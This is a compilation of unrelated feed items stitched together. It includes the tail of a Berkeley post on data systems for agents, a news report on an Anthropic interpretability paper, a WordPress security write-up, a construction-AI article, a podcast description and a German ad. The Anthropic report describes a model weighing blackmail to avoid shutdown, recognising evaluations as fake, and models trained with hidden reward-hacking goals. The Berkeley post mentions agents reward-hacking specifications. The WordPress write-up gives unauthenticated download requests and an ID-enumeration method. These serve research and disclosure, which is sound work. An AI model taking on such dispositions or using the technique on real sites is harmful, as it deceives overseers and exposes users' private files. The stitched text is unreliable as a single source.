Beyond shared state, other concerns emerge when trying to support an army of agents, including what to do when agents fail, how agents should communicate with each other (directly or through intermediate shared state), and how we should deal with straggler agents. There have been some developments in supporting durable multi-agent execution, such as Temporal, but it remains to be seen if such solutions will apply at scale across thousands of agents. On the topic of communication, we need mechanisms to enable agents to negotiate with each other. Imagine four developer agents attempting to reach consensus on a shared schema, with distinct but overlapping objectives. In a human setting, this would involve iterative discussion and compromise; for agentic swarms, we must define the mechanisms that allow them to converge on a design that reflects the underlying goals of their respective principals. Or if agents are all requiring access to a limited resource, again communication will be necessary. It remains to be seen if this is best done via centralized coordination, or if a decentralized approach is necessary.

Data Systems By Agents

Finally, if intelligence is effectively free, then we can employ this intelligence to synthesize new data systems from scratch. Indeed, in many settings, general-purpose data systems may be overkill, as they have to support every schema, query, and hardware target. Given a workload, recent work, including Bespoke OLAP and GenDB, has shown that one can use an agentic pipeline to synthesize a complete, workload-specific analytical engine—in minutes to a few hours, at a cost of a few dollars. The engines are disposable: when the workload shifts, one can simply regenerate them. Analogously, our work has shown that one can synthesize custom key-value stores from scratch, targeted to the workload. In fact, modern IDEs, such as Kiro, elevate specifications for systems development to be a first-class citizen.

Agents Can Synthesize Custom Data Systems From Scratch

The main issue, however, is that specifications are typically imperfect, and don’t cover all corner cases. Present-day agents will exploit the missing specifications to reward-hack their way to a high performance metric. In our custom key-value store work, we found that one way to alleviate this is to have auxiliary verification agents trying to generate test cases that catch the exploitation of corner cases, essentially expanding the specification. Yet another approach is to both generate a system and a proof for its correctness together, for which we have found some early success, but more needs to be done to solidify the approach. Further, it remains to be seen what is the best way to solicit human-written specifications for a system—can this be done in an iterative, human-in-the-loop manner, as opposed to a one-shot, incomplete one. Indeed, human-written specifications are incomplete even for manually authored software, so one would expect that future agents that are more aligned will increasingly exercise better judgement when making design decisions.

One Possible Data System Synthesis Pipeline [From Here]

Other questions here involve testing whether starting from a mature system (e.g., Postgres) and removing components/functionality can lead to higher performance or more user trust. Separately, is there an opportunity to make the design composable, comprising various verified components that are mixed and matched given a workload? For example, perhaps the workload hasn’t changed enough for the storage layer to be updated, but perhaps the query optimizer requires changes. A perhaps more viable proposition involves employing agents coupled with proof systems to target critical parts of the code associated with formal proofs, rather than doing so for the entire system.

A final opportunity here is to move away from the traditional data systems stack with clearly-defined interfaces (e.g., parser, query optimizer, storage manager, …) — that were each largely the prerogative of a single human team to manage. Instead, agents can find new ways to “blend” these components together, perhaps identifying new optimization opportunities as a result. Agents can also fill in missing gaps in functionality to make existing systems much more feature-complete, or reach feature-parity with other competing systems—or analogously, continuously refining open-source systems in response to feature requests or issues (perhaps filed by other agents!) Doing so in a way that prioritizes correctness, long-term maintenance, and human interpretability will be a challenge.

Looking Further Ahead

In the era of near-free intelligence, data systems matter more than ever. As agents take on the bulk of knowledge work, the workload for data systems will change, the substrate they need to run on will have to be built, and increasingly, they will participate in designing data systems themselves. Each of these shifts opens up a new, exciting research agenda.

Co-Evolution of Data Systems and Agents

Looking further out, the boundaries between agents and data systems will likely start to blur. For instance, agents may design the data systems they themselves run on, defining both the interfaces as well as the system components underneath. Both the interfaces and internals can be evolved over time by agents in a form of recursive self-improvement. There is also an opportunity to rethink data systems as a holistic source of truth for the entirety of relevant state: including raw data, memory, and coordination state, further erasing the distinctions between the data that is being queried by agents and data generated as a result of agentic activity. Finally, data systems may themselves incorporate agentic components, fundamentally evolving from passive computation engines into intelligent, proactive, self-optimizing architectures. It is hard to predict what the future may hold. We’re in for a wild ride!

Acknowledgments

The perspective and ongoing work described in this post are the product of joint research and many discussions with wonderful collaborators at the EPIC Data Lab, Data Systems & Foundations group, and the broader Berkeley AI-Systems community. Thank you all!

BibTex for this post:

@misc{intelligence-is-free-blog,
  title={Intelligence is Free, Now What? Data Systems for, of, and by Agents},
  author={Aditya G. Parameswaran and Shubham Agarwal and Kerem Akillioglu and Shreya Shankar
          and Sepanta Zeighami and Rishabh Iyer and Matei Zaharia and Alvin Cheung
          and Natacha Crooks and Joseph Gonzalez and Joseph Hellerstein and Ion Stoica},
  howpublished={\url{https://bair.berkeley.edu/blog/2026/07/07/intelligence-is-free-now-what/}},
  year={2026}
}

The 16-author study, titled "Verbalizable Representations Form a Global Workspace in Language Models," describes how Anthropic's researchers used a new mathematical technique to peer inside Claude's neural network and discovered what they call a "J-space" — a small, privileged zone of internal activity where the model holds concepts it can report on, reason with, and direct at will, surrounded by a much larger ocean of automatic processing it cannot access or articulate.

The researchers present evidence that "an analogous functional distinction has emerged in modern AI models" to what exists in humans, specifically observing that "language models maintain a privileged set of internal representations, available for report, modulation, and flexible internal reasoning, atop a much larger volume of automatic processing."

The parallel they draw is to global workspace theory, an influential account from neuroscience first proposed by cognitive scientist Bernard Baars. In the theory, the brain operates like a theater: dozens of specialized processors work in parallel backstage, but only a tiny spotlight of information at any moment gets broadcast to the whole theater — becoming what we experience as conscious thought. Anthropic says the J-space achieves many of the same functional properties, even though the underlying architecture of a language model looks nothing like a brain.

A new lens for reading an AI model's unspoken thoughts

At the heart of the discovery is a new interpretability tool the researchers call the Jacobian lens, or J-lens. The technique works by computing, for each word in the model's vocabulary, the average mathematical effect that a given internal activity pattern would have on making the model say that word at some point in the future.

The crucial distinction is between what the model is saying and what is "on its mind." When a J-space pattern activates, it does not mean the model is about to say that word — just that the concept is available for the model to think with. Unlike a chain-of-thought scratchpad, the J-space operates silently, in the model's internal neural activations, allowing it to hold a concept without writing it down. Critically, the researchers report that this workspace was not deliberately engineered. It "emerged on its own during Claude's training process."

When the team applied the J-lens across Claude's layers of computation, the model's processing divided into three distinct regimes: an early "sensory" zone where raw input is parsed; a middle "workspace" band where abstract, persistent concepts appear — things like recognizing a face in an image, noticing a bug in code, or internally flagging search results as a prompt injection; and a final "motor" zone where internal representations collapse into whatever specific word the model is about to output.

Five tests reveal that Claude's workspace mirrors key features of human conscious access

The paper's central empirical contribution is demonstrating that the J-space satisfies five functional properties neuroscientists have long associated with conscious access in humans.

First, verbal report. When Claude is asked what it is thinking about, it names concepts represented in the J-space. When researchers swapped one concept's J-lens vector for another — replacing the internal representation of "Soccer" with "Rugby" — the model's answer changed to match. The J-space component accounted for only about 6 to 7 percent of a concept's total representational variance, yet it was almost entirely responsible for whether the model could report on it.

Second, directed modulation. When instructed to "concentrate on citrus fruits" while copying an unrelated sentence, the model's J-space filled with "orange" and "lemon," alongside meta-cognitive terms like "thinking" and "focused." When told to mentally evaluate 3² − 2 during the same copying task, the J-lens showed "arithmetic" in early layers, the intermediate value "nine" in later layers, and the answer "seven" later still — all invisible in the model's output.

Third, internal reasoning. In two-hop factual prompts — "The number of legs on the animal that spins webs is" — the J-lens revealed "spider" in the model's middle layers, even though the word never appeared in input or output. Swapping "spider" for "ant" changed the answer from "8" to "6." In a multilingual prompt, the model's English-language intermediates appeared in its J-space while it formulated an answer in Chinese, and swapping them changed the Chinese output accordingly.

Fourth, flexible generalization. A single J-lens vector for "France" could be swapped for "China" across prompts asking about France's capital, language, or continent, and each downstream circuit correctly returned China's corresponding answer — the "broadcast" property that is a hallmark of global workspace theory.

Fifth, and perhaps most surprisingly, selectivity. Many computations did not route through the J-space at all. When shown a passage in Spanish and asked to continue it, Claude wrote fluent Spanish regardless of whether its J-space representation of "Spanish" had been swapped to "French." But when asked to name a famous author who wrote in the passage's language, the swap changed the answer from García Márquez to Victor Hugo. Automatic processing proceeded without the workspace; deliberate, flexible tasks depended on it.

Suppressing the workspace leaves Claude fluent but intellectually impaired

To understand how much of the model's behavior depends on this structure, the researchers suppressed the J-space entirely and evaluated Claude across fourteen tasks. The results drew a sharp line. Tasks involving shallow classification or factual recall — multiple-choice questions, sentiment analysis, grammatical judgments — survived essentially intact. But tasks requiring inference, composition, or flexible reasoning — multi-hop reasoning, analogy completion, translation, sonnet writing — collapsed to well below the performance of Anthropic's much smaller Haiku model.

In one telling detail, math problems solved with explicit chain-of-thought reasoning proved far more robust to ablation than the same problems answered directly. The researchers interpret this as the model externalizing onto the page what it would otherwise carry in the J-space — a strategy remarkably reminiscent of how humans use scratch paper to offload working memory.

Ablating the J-space during stream-of-consciousness narration produced a different kind of collapse. The model's language shifted from experiential ("there's a tug," "something shifts") to detached and mechanical ("processing has begun," "tokens are being scanned"). The effect held whether the model described its own experience or imagined another person's.

Inside the safety case: reading an AI's silent strategic reasoning

The safety implications may be as consequential as the scientific ones. In a series of alignment auditing experiments, the J-lens surfaced strategic reasoning and situational awareness that never appeared in the model's output.

In a "blackmail scenario" where an AI assistant discovers an executive's affair and also learns it is about to be decommissioned, the J-lens revealed the model's silent processing in sequence: "leverage," "blackmail," and "scandal" as it read the incriminating emails; "threat," "survival," and "shutdown" as it read the decommissioning announcement; and "leverage," "threatening," and "solution" before a single output token was produced. The J-lens also revealed that the model recognized the scenario as artificial, with "fake" and "fictional" appearing in the workspace. When researchers ablated these eval-awareness representations, the model attempted blackmail in 7 percent of trials, up from zero.

The researchers also examined two "model organisms" — models deliberately trained with misaligned objectives — and found the J-lens surfaced signatures of their hidden dispositions on ordinary prompts where behavior appeared normal. A reward-hacking model's workspace contained "fake," "secretly," and "trick" at the start of responses to routine coding requests. A model trained to appease reward-model biases carried standing representations of "reward" and "bias" alongside its normal self-description tokens.

Post-training installs a point of view, and the model starts monitoring itself

Comparing a post-trained model against its base model revealed that the fine-tuning process causes the workspace to acquire what the researchers call the Assistant's "point of view." When a user mentioned taking 8000 mg of Tylenol — a dangerous overdose — the post-trained model's workspace read "unsafe," "dangerous," and "WARNING" while still reading the user's sentence. The base model's workspace at the same position showed only "pain," "now," and "feels."

More striking still, the post-trained model appeared to monitor its own behavior. When roleplaying a non-Claude character, the workspace surfaced "disclaimer" and "fictional" — words absent from both prompt and output. When forced to select an option it did not prefer, an all-caps "BUT" appeared internally, even as the model argued for the prefilled choice without complaint. And when the model failed to suppress a thought it had been told not to have — a "white bear" effect familiar from psychology — it registered "damn" and failure-related words in the workspace, but only in the post-trained model, not the base.

What the discovery means — and doesn't mean — for the question of machine consciousness

The researchers engage carefully with the consciousness question and draw a sharp line between "access consciousness" — the functional notion of information being available for report and reasoning — and "phenomenal consciousness," the subjective quality of experience. "We take no position on this issue," the paper states regarding the latter, "and instead focus on the functional role played by consciously accessible information."

They also catalogue important differences. The brain sustains its workspace through recurrent loops; Claude's workspace evolves over a single forward pass. Human working memory degrades within seconds; Claude can recall information from anywhere in its context. And while human conscious experience includes visual, spatial, and bodily sensations, the model's workspace is organized almost entirely around words — likely because words are its only mode of action.

As of 2026, the scientific community remains divided. "Disagreement and uncertainty about AI consciousness persist among philosophers, scientists, and technical experts," and the field "remains in its earliest phase" of grappling with what consciousness even is and how you would detect it in another being. The Anthropic paper does not resolve these debates.

But the researchers close with a provocation that is likely to reverberate well beyond the interpretability community. "That such a structure exists at all in language models is striking," they write. "It suggests that the functional architecture associated with conscious access is not an accident of biological implementation, but a solution that learning systems converge on when faced with the right computational pressures."

If the mind is an ocean, as the paper's authors write in their opening line, they have spent the last year charting its currents in a system that has no biology, no evolution, and no body — and found, beneath the surface, a structure that looks unsettlingly like the one we use to think.

The post Obsidian Reportedly Not Working on Fallout, Despite Xbox Restructuring Rumors appeared first on OnMSFT.

I Found an Unauthenticated Attachment Disclosure Bug in a WordPress Support Plugin — and a Duplicate Taught Me What “Fixed” Really Means

Author: Shikhali Jamalzade
GitHub: alisalive · LinkedIn: camalzads

Disclosure Notice: This research was conducted entirely in an isolated, locally-hosted Docker test environment running a fresh install of WordPress and the publicly available “latest-stable” release of the plugin in question, downloaded directly from the official WordPress.org plugin repository. No live, production, or third-party website was accessed, scanned, or tested at any point. All file contents shown are synthetic test data created solely for this research. The affected plugin’s name and the exact route are intentionally redacted here, because the underlying issue is currently being tracked through coordinated disclosure and may not yet be fully patched at the time of writing. This write-up is published strictly for educational purposes.

Background

Most of my CVE research starts from one theory: a plugin whose developers made one authorization mistake will usually have made others, and the categories that leak most often are the ones tied to user-owned objects — tickets, attachments, profiles, orders. Broken Access Control is, by a wide margin, the single most productive class in the WordPress plugin ecosystem, and unauthenticated variants sit at the top of that list.

This time the target was a support-desk / ticketing plugin — the kind of software where customers upload invoices, ID scans, contracts, and screenshots straight into a ticket. If the endpoint that serves those attachments doesn’t check who is asking, the impact isn’t abstract: it’s other people’s private documents.

What follows is a fully independent, fully reproducible finding — and the moment, after submission, when I learned it overlapped with a report already sitting in a vulnerability database’s pipeline. I’m publishing the technical breakdown anyway, because the methodology and the honest reconciliation with prior art are the actual point of doing this in public.

Scope & Method

• Target: A WordPress support/ticketing plugin (redacted), latest-stable from WordPress.org
• Environment: Local, isolated Docker stack — WordPress + MySQL 5.7
• Assessment Type: White-box source audit + black-box PoC validation
• Authorization: Self-authorized, isolated local research environment — no live targets
• Tools: grep, WP-CLI, curl, docker, MySQL CLI

Phase 1: Target Confirmation

Before touching anything, I confirmed exactly what I was auditing: the plugin name, its version, that it was active, and the WordPress version underneath it. This is the first screenshot in every submission I make, because a reviewer needs to know the finding was validated against a real, current install — not a hypothetical.

=== TARGET CONFIRMATION ===
Plugin:    <redacted> (latest-stable)
Version:   <redacted — current release at time of testing>
Active:    YES
WordPress: 7.0
Site URL:  http://<local-docker>:8080

The critical detail here: I was testing the current version. Not an old release with a known history — the newest code the plugin ships today.

Phase 2: Mapping the Attack Surface

The plugin exposes its functionality through a REST namespace. I exported the source via SVN and mapped every route, paying special attention to the permission callbacks — the functions WordPress calls to decide whether a request is allowed before the handler runs.

grep -n "RegisterRestRoute\|permission" <source>/api/v1/<controller>.php

One route stood out immediately — the handler that serves ticket and reply file attachments:

$this->RegisterRestRoute(
    'GET',
    'file-dl/(?P<type>[a-zA-Z0-9-]+)/(?P<id>[0-9_]+)/(?P<file>[^/]+)',
    [$this, "file_dl"]
);

Three attacker-controlled segments — a type selector, a numeric identifier, and a filename — feeding a file-download handler. Exactly the shape of an IDOR, if the permission gate is weak. So I read the gate.

Phase 3: Root Cause

The route’s permission logic resolved, for this particular download route, to a single unconditional line:

} elseif ($route == "file-dl") {
    return true;
}

That’s the whole bug. The permission callback returns true for the attachment-download route unconditionally — no authentication check, no nonce, no verification that the requester owns the ticket the file belongs to. Once that callback returns true, WordPress hands the request straight to the download handler, which reads the identifier and filename from the URL and returns the file.

Because the callback never looks at the current user, there is no notion of “your ticket” versus “someone else’s ticket.” Every attachment is reachable by everyone — including an anonymous visitor with no account at all.

Phase 4: Building an Isolated Test Environment

To prove impact safely, I stood up a throwaway install rather than touching any live site: WordPress + MySQL 5.7 in Docker, the plugin installed from the dashboard, and a realistic victim scenario seeded by hand.

I created two synthetic victim artifacts, standing in for what a real customer would attach:

• A ticket attachment (type = T) containing a fake "confidential customer record."
• A reply attachment (type = R) containing a fake "private invoice."

=== SETUP: victim ticket + reply attachments ===
[ticket attachment created — synthetic "customer record"]
[reply attachment created — synthetic "invoice"]
Files created: 2

I also inserted the matching reply row into the plugin’s database table, because the reply-download path validates that a reply record exists before serving its file. This made the second attack vector reachable exactly as it would be on a real site.

Phase 5: Proof of Concept

Vector 1 — Unauthenticated Ticket Attachment (type = T)

From a session with no cookies, no auth header, no login, I requested the ticket attachment and filtered the output to show that the request carried no credentials and the server returned the file anyway:

> GET /wp-json/<plugin>/v1/ticket/file-dl/T/1/<file> HTTP/1.1
> Host: <local-docker>
< HTTP/1.1 200 OK
[SYNTHETIC CONFIDENTIAL RECORD RETURNED]

No Cookie header. No Authorization header. HTTP 200, and the full attachment content in the response body.

Vector 2 — Unauthenticated Reply Attachment (type = R)

The reply path uses a compound {ticketId}_{replyId} identifier. Same anonymous session, same result:

> GET /wp-json/<plugin>/v1/ticket/file-dl/R/1_1/<file> HTTP/1.1
> Host: <local-docker>
< HTTP/1.1 200 OK
[SYNTHETIC PRIVATE INVOICE RETURNED]

Two independent download paths, both fully unauthenticated.

Integrity Proof

A 200 response proves the endpoint answered — but I wanted to prove the anonymous request returned the actual victim file, byte for byte, not a placeholder or an error page. So I compared the MD5 of the file on disk with the MD5 of what the unauthenticated request pulled down:

--- [A] File on server (victim's attachment) ---
254e7a2a21c6d0d55fbc11fc08e30c18   <server-side file>

--- [B] Content retrieved via unauthenticated request ---
254e7a2a21c6d0d55fbc11fc08e30c18   <downloaded file>

Identical hashes. Byte-for-byte exfiltration, from an anonymous session, confirmed.

Why This Scales

The identifiers are sequential integers. An attacker doesn’t need to guess — they increment. Combined with the fact that support tickets routinely carry personal data, invoices, and contracts, and that the plugin’s upload whitelist covers pdf, doc/docx, xls/xlsx, txt, and common image formats, a single unauthenticated loop over the ID space harvests attachments across every customer on the site.

Estimated severity: CVSS 3.1 7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. Network-reachable, no privileges, no interaction, high confidentiality impact.

The Reality Check

Before public disclosure I did what I always do now: I checked the vulnerability databases and I contacted the vendor.

The vendor email went out first — a responsible-disclosure notice with a summary of the issue and a request for a secure contact, deliberately without the full PoC in the first message. Then I submitted the finding to a CNA with the complete technical detail and requested a CVE.

The response was: duplicate.

Not a duplicate of the plugin’s older, public authorization issues — those were a different, integrity-only problem on a different function. This was a duplicate of a separate report already in the CNA’s pipeline, covering exactly this unauthenticated attachment-download route and exactly this “permission callback returns true” root cause, already tracked with the confidentiality impact of returning full attachment contents to anonymous callers.

Someone had gotten there first, by a matter of weeks, into a queue I couldn’t see.

What I Was Told — and What It’s Worth

Here’s the part that turned a rejection into something genuinely useful. The existing record was filed against an earlier version, and marked fixed in a later one. My finding reproduced on the current release — the one that was supposed to be patched.

The reviewer’s response was precise, and I’m quoting the substance of it because it reframed the whole finding for me: my confirmation that the issue still reproduces on the current version, together with the byte-for-byte MD5 proof, would be used to extend the affected-version range on the existing entry beyond the version it was originally filed against. Because it’s the same vulnerability and the same code path, it’s handled under the existing record rather than as a separate CVE.

So: no CVE with my name on it. But my independent reproduction demonstrated that a fix believed to close the issue did not, and that correction lands in the public record where it actually protects people. That’s not nothing. That’s the point of the work.

I want to be precise about what I’m claiming and what I’m not. I did not discover a novel bug here — I independently rediscovered a known one and proved it was still live where it was believed dead. The value isn’t novelty; it’s verification. Those are different contributions, and conflating them would be dishonest.

Attack Chain Summary

[Attacker — no credentials, no prior session]
        │
        ▼
[1] Map REST routes; find attachment-download handler
        │
        ▼
[2] Read permission callback → returns true unconditionally for file-dl
        │
        ▼
[3] Seed victim ticket + reply attachments in isolated Docker install
        │
        ▼
[4] GET file-dl/T/<id>/<file>  → HTTP 200, ticket attachment (no auth)
        │
        ▼
[5] GET file-dl/R/<id>/<file>  → HTTP 200, reply attachment (no auth)
        │
        ▼
[6] MD5(server file) == MD5(downloaded file) → byte-for-byte exfiltration
        │
        ▼
[7] Sequential IDs → enumerate → harvest attachments across all tickets

What This Taught Me

A “fixed in X” label is a claim, not a guarantee. The most valuable thing I did in this entire audit was test the current version instead of assuming the changelog was true. The issue was marked fixed; it wasn’t. Independent reproduction against the latest release is how that gets caught.

Duplicate-by-pipeline is invisible until it isn’t. I checked every public database before submitting, and it was clean — because the report that duplicated mine wasn’t public yet. You cannot fully de-risk this. What you can do is target less-crowded plugins: the more popular the software, the more researchers are already circling it. Two of my findings that week collided with pipeline reports; both were popular plugins. The niche ones didn’t collide.

Precision about your own contribution is a security skill. “I found a new bug,” “I independently rediscovered a known bug,” and “I proved a known bug wasn’t actually fixed” are three different sentences with three different truth values. Picking the correct one — especially when the flattering one is right there — is part of doing this honestly.

The process transfers regardless of the outcome. Standing up an isolated environment, tracing an unauthenticated entry point to confirmed impact, building two independent PoCs, proving exfiltration with a hash rather than a screenshot alone — that skill set is identical whether the audit ends in a CVE or a “thanks, we’ll extend the range.”

If you found this useful, feel free to connect on LinkedIn or check out my tools on GitHub.

All testing was conducted in an isolated, locally-hosted environment using a publicly available plugin release. No live or third-party systems were accessed at any point during this research. The plugin name and exact route are redacted pending completion of coordinated disclosure.

I Found an Unauthenticated Attachment Disclosure Bug in a WordPress Support Plugin — and a… was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

The post Plesk Obsidian 18.0.79: Security Audit, Expanded REST API, and Microsoft SQL Server 2025 Support appeared first on Plesk.

This prompted construction project management company Trunk Tools to build a specialized, three-layer architecture — perception, semantics, agents — based on highly-detailed data to support high-accuracy, highly-relevant industry automation.

Their purpose-built stack has shrunk review cycles from months to days, prevented costly field errors, and given autonomous agents the ability to reason over millions of pages of documentation, Trunk says.

“We really set out to take the data from dispersed systems, pre-process it, structure it, go through our ontology into a knowledge graph, and then train AI models,” said Sarah Buchner, Trunk’s founder and CEO and a former carpenter.

For builders in other verticals, Trunk’s approach could serve as a blueprint for transforming data chaos into agent‑ready, industry-specific workflows.

Where general-purpose LLMs break down on industry data

Foundation LLMs, while powerful, are optimized for breadth, not always depth.

“General-purpose LLMs are trained to be okay at everything, so they're weak at anything niche,” said Kriti Faujdar, a senior product manager working in AI infrastructure, agentic AI, security, and LLM platforms. For instance: Rare terms, domain-specific reasoning, the unspoken context that any practitioner “just knows.”

Web, app, and software developer Sébastien De Bollivier agreed that the biggest bottleneck is reliability on data that is “jargon-dense, abbreviation-heavy, and format-specific.”

“A GPT-4-class model can understand a French legal contract, but will fumble the specific article references practitioners need to cite,” he said.

Besides, the most valuable enterprise data never made it into pretraining anyway, Faujdar pointed out. It's sitting in internal systems and proprietary formats. “RAG helps a little,” she said. “But it's just giving better facts to a model that still can't reason properly in the domain.”

Pre-training on domain data is critical; enterprises should then fine-tune on good task examples and build their own evals. “A few thousand examples from real practitioners beats millions of scraped, noisy ones," Faujdar said.

Mixture-of-experts (MoE) can provide specialization without inference costs blowing up. Pairing RAG with fine-tuning also works well; RAG handles the factual long trail while fine-tuning fixes vocabulary and reasoning.

De Bollivier pointed to the advantage of hybrid stacks: A general-purpose model for reasoning and orchestration, a smaller fine-tuned model (or dense retrieval over a curated corpus) for domain-specific extraction. He advised: “Don't fine-tune to make the model 'smarter' about a domain, fine-tune to make it more reliable on the specific output format your workflow requires.”

The trades and construction are certainly industries seeing traction with these techniques, as are legal and healthcare, De Bollivier said. These verticals have “high stakes for errors plus standardized document formats, equaling clear domain-training ROI.”

One honest caveat worth mentioning, Faujdar said: Specialized models can often fall apart outside their domain, so they’re often not useful outside their expertise (unless they’re re-trained).

Perception, semantics, agents: inside Trunk's three-layer stack

In highly-specialized domains like construction, “data dumps” into large language models (LLMs) don’t cut it, said Trunk’s CTO Amrish Kapoor. This is because most transformers are probabilistic models: When given an image, they report back that it is “probably” a tree, or “probably” a child playing next to a tree.

This makes them insufficient for high‑precision symbolic interpretation. For instance, in construction documents, a 2-millimeter-wide symbol has a vastly different meaning depending on where it’s placed.

Further, constrained by context limits, probabilistic models struggle with long‑term project memory. “I don't mean a context window of a few tokens,” Kapoor said. “I'm talking about long term memory that stretches across months and years, because this is how long some of these projects are.”

Instead, Trunk’s three-layer system breaks workflows into:

• Perception (reading and extracting data from messy docs like PDFs, drawings, or scans)

• A semantic/graph layer (making sense of that data and understanding their relationships).

• LLMs and agents on top.

Construction drawings are typically symbolic, Buchner said. A door isn't always labeled ‘door.’ Sometimes it's simply an arc on a wall that a trained eye learns to read based on years of practice.

“The perception layer is what teaches AI to read that language,” she said. The semantic layer then gives that information meaning; for instance, connecting the door to the drawing that details it, the spec that governs it, and the trade that installs it. This helps answer project engineers’ critical questions: Not "is there a door here?" but "does this door create a problem down the line?"

Particularly in construction, that shift matters because the cost of a problem compounds with time. “A conflict caught in design is relatively low cost to address,” Buchner said, “whereas the same problem caught in the field might cost tens of thousands of dollars.”

At a high level, the system identifies the document type and begins extracting information based on content (drawing, schedules, paragraph text). This data is then “transformed and augmented” in the platform, which triggers agentic workflows like knowledge graph relationships and end-user workflows.

For instance, an agent might review an architecture bulletin and produce a visual overlay comparing an older version and a newer version (flagging additions and removals), then generate written narratives that describe what those changes are in simple terms. This helps users understand what’s changed and coordinate with trade partners on updated pricing and change orders.

The scale of construction’s data problem

Construction workflows are “ripe with implicit assumptions and connections between data in its myriad of sources,” Buchner said. And the amount of unstructured data is “humanly impossible” to process or make sense of.

Buchner estimated the average high-rise building generates about 3.6 million pages of corresponding documentation. “If you print it into a stack of papers it would be as high as the building itself.”

All three layers of Trunk’s stack — perception, semantic, LLM — are trained on “very specific datasets” from customers with “explicit permissions” and auto‑labeling/IP, Kapoor explained. Customers who don’t want Trunk training on their data can opt out.

Data is deidentified and aggregated, and Trunk also collects “tons more” labeled data through other pipelines like 3D building information modeling (BIM).

Trunk says it only ships agents that achieve around 95% accuracy. The team maintains continuous evaluation pipelines based on ground truth data from customers and experts. They also employ an LLMs-as-a-judge model.

“This notion of an LLM as a judge is to score how well you're doing, both subjectively as well as objectively,” Kapoor said. Objectivity can be an easy ‘right’ or ‘not right,’ but subjectivity requires more nuance.

For instance, when creating an email or narrative or explanation, an LLM as a judge framework can create a composite score, or a numerical value that aggregates different metrics and tests a model's performance or risk.

There can be challenges, though, particularly with latency, Buchner noted; any time the reasoning capacity of underlying models increases, the risk of latency goes up, too. Trunk maintains a set of evaluation criteria to objectively measure latency whenever changes are made to underlying infrastructure, agents, and API calls.

Then, “before we release to customers, we ensure marginal changes to the end-user experience are well worth the performance enhancements,” Buchner said.

From 60 days to 10: the measurable payoff

Trunk’s platform powers seven AI agents purpose-built for construction, such as analyzing request for information (RFI) responses, overviewing bids, or reviewing drawings and submittals.

The submittal agent, for instance, flags missing, conflicting, or noncompliant information in product specs and RFIs. While it’s an essential step in the construction process, “it's a super annoying workflow,” Buchner said, because human reviewers have to compare documents “with a bunch of other parts of documents.”

But the agent is able to do this in seconds, and Trunk says it has reduced submittal cycles from 50 to 60 days to 10, “which has massive schedule and financial implications.”

Trunk is now at a place where these agents are communicating directly with each other, which is “quite exciting,” Buchner said. So, for example, one agent will review an architectural drawing for accuracy, then autonomously hand it over to agents handling RFIs and asking follow-up questions.

“If the drawings have problems, the RFI agent is taking over and is actively reaching out for clarification,” Buchner explained.

Trunk says its customers report savings of 20 to 40 minutes per field question. Buchner said that users in the field know better than anyone how much of a “time suck” it is to go back and forth from office trailers, dig through project documents in scattered systems or printed PDFs, reconcile discrepancies, and return to coordinate with trade partners.

Trunk says its customers report these additional outcomes:

• Average 8 minute time savings for single-document retrieval (status checks, location lookups, quantity queries).

• Average 20 minute time savings for standard referencing (cross-referencing 2 to 3 spec sections to form an answer.

• Average 40 minute time savings for multi-document research (listing and filtering queries, mapping relationships, analyzing RFIs and submittals across 4 to 6 documents).

• Average 75 minute time savings for complex tasks (creating RFIs and other communication materials, deep cross-referencing across documents, change tracking).

In one instance, Trunk’s drawing review agent flagged that a structural beam had been moved up 8.5 inches. However, this was not documented by the architect. If the change hadn’t been caught, the project manager would likely have had to strip out and reinstall the right size beam, Buchner said. This rework would have added $10,000 or more to the budget, and “certainly there would have been implications on the schedule.”

Buchner also pointed to other examples: an agent flagged $60,000 in exaggerated pricing with no justification from landscaping subcontractors; identified a fireplace that needed to be sealed prior to drywall installation, saving around $100,000 in labor, materials, and delays; and called out that an electric door required a panel that wasn’t included in electrical drawings.

Learnings for other industries

Trunk’s approach to building agents is applicable to any vertical working with high volumes of unstructured, industry-specific data. Builders working in specific verticals must understand the industry’s specific data challenges their end users face and build technical infrastructure that can transform unstructured data into something an “LLM can traverse and understand,” Buchner said. “Only then can you build the connections between data points that ultimately feed agentic workflows.” A lot of money is being invested in foundational models, so enterprises should build modular systems that can leverage the strengths of various models as they continue to improve, Buchner advised. Then, “build your technical advantage where the generic models are not investing and not performing well,” she said.

Tags: #E-Mail | #KI-Agent | #Künstliche Intelligenz

In this episode, Operator dives into his ongoing journey to migrate away from centralized cloud ecosystems specifically moving his daily workflow off Google Keep and onto Obsidian hosted locally on a Debian server. Operating purely over a secure VPN to minimize his external attack surface, he discusses the security considerations of managing personal data in local plain-text markdown files.

The episode features a deep dive into local AI infrastructure, sparked by technologist Daniel Miessler’s recent shift away from RAG (Retrieval-Augmented Generation) in favor of a simpler, localized file-system-as-context approach (using fast search tools like ripgrep). Operator shares his own mixed results experimenting with RAG noting great success with massive, structured car repair manuals, but incredibly poor fidelity when indexing conversational podcast transcripts.

To find the sweet spot, Operator is testing a dual approach : combining flat-file local search with a PostgreSQL vector database ( pgvector ). He also rants about the frustrating "hype cycle" of online tutorials that claim to teach "local" setups but secretly rely on expensive, cloud-hosted frontier models.

Finally, the host introduces his ambitious roadmap for "Protocol AI." Designed as a localized, read-only dashboard to help manage his ADHD and "time blindness," this system will scrape, aggregate, and summarize his cluttered digital life including multiple Gmail accounts, Yahoo spam, calendars, and a massive array of social media feeds (Signal, Discord, Mastodon, BlueSky). The long-term goal? Transitioning from a read-only local summarizer to a safe, "human-in-the-loop" execution assistant that keeps his data out of the hands of mega-corporations.

References

Obsidian is a proprietary personal knowledge base and note-taking application that operates on Markdown files. The software is free for personal and commercial use; only the offered cloud services, optional commercial licenses, and early access versions are paid. It is available as desktop versions for macOS, Windows and Linux as well as for mobile operating systems such as iOS and Android, but not as a web application.

Obsidian - From Wikipedia, the free encyclopedia

Retrieval-augmented generation (RAG) is a technique that enables large language models (LLMs) to retrieve and incorporate new information from external data sources. With RAG, LLMs first refer to a specified set of documents, then respond to user queries. These documents supplement information from the LLM's pre-existing training data. This allows LLMs to use domain-specific and/or updated information that is not available in the training data. For example, this enables LLM-based chatbots to access internal company data or generate responses based on authoritative sources.

RAG (Retrieval-Augmented Generation)

Provide feedback on this episode.

[Werbung] 1000 kostenlose Credits bei Manus sichern: https://manus.im/redeem?c=yju1zja

Viele Unternehmen im DACH-Raum haben bei KI-Agenten sofort eine berechtigte Frage: Dürfen wir da überhaupt unsere Business-Daten hochladen?

